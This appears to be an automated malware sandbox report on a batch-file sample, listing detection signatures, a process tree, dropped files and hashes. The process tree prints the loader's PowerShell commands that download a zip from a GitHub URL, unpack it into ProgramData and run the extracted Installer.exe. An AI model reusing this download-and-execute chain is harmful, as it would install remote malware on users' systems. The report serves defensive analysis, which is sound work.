Analysis

  • user interaction
    yes
  • max time kernel
    29s
  • max time network
    23s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/08/2026, 04:06

General

  • Target
    test.bat
  • Size 484B
  • Sample260818-en76padr21
  • SHA256 749bdd917aab23856d306968b7b0f148caa3dd68efb06e78ff59a31c715885a2
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ndoug2081-stack/ndoug2081-stack/raw/refs/heads/main/Pictures.zip' -OutFile 'C:\ProgramData\test\app_bundle.zip'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path 'C:\ProgramData\test\app_bundle.zip' -DestinationPath 'C:\ProgramData\test' -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5540
    • C:\ProgramData\test\Installer.exe
      "C:\ProgramData\test\Installer.exe"
      2⤵
      • Executes dropped EXE
      PID:4704

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Installer.exe

        • Path C:\ProgramData\test\Installer.exe
        • Size 218KB
        • SHA256 224ce2894ce264e5857b2b8b6aff07e0f223e0c83b7d06be003cc918fd99f375
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app_bundle.zip

        • Path C:\ProgramData\test\app_bundle.zip
        • Size 91KB
        • SHA256 8ee9882b7497ce4e4818f80e518eb0e6401d4a66a4ef018206923712ee26be90
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e01f5741ced7748eef83cfb8a46d0174a59543551d136235356c274108c90770
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_l4zlvkb5.vik.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l4zlvkb5.vik.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1832-12-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-15-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-8-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-9-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-10-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-11-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-6-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-13-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-14-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-7-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-16-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-17-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-20-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-5-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-0-0x00007FF89765F000-0x00007FF897660000-memory.dmp

        memory/1832-4-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/1832-3-0x0000019EA0700000-0x0000019EA0722000-memory.dmp

        memory/5540-23-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/5540-25-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/5540-30-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/5540-31-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/5540-26-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/5540-32-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/5540-35-0x0000020AEBE30000-0x0000020AEBE4E000-memory.dmp

        memory/5540-37-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/5540-36-0x0000020AEBE50000-0x0000020AEBF02000-memory.dmp

        memory/5540-24-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/5540-38-0x0000020AEBF10000-0x0000020AEBF1A000-memory.dmp

        memory/5540-22-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/5540-40-0x0000020AEBE30000-0x0000020AEBE3A000-memory.dmp

        memory/5540-39-0x0000020AEBF10000-0x0000020AEBF22000-memory.dmp

        memory/5540-47-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp

        memory/5540-21-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp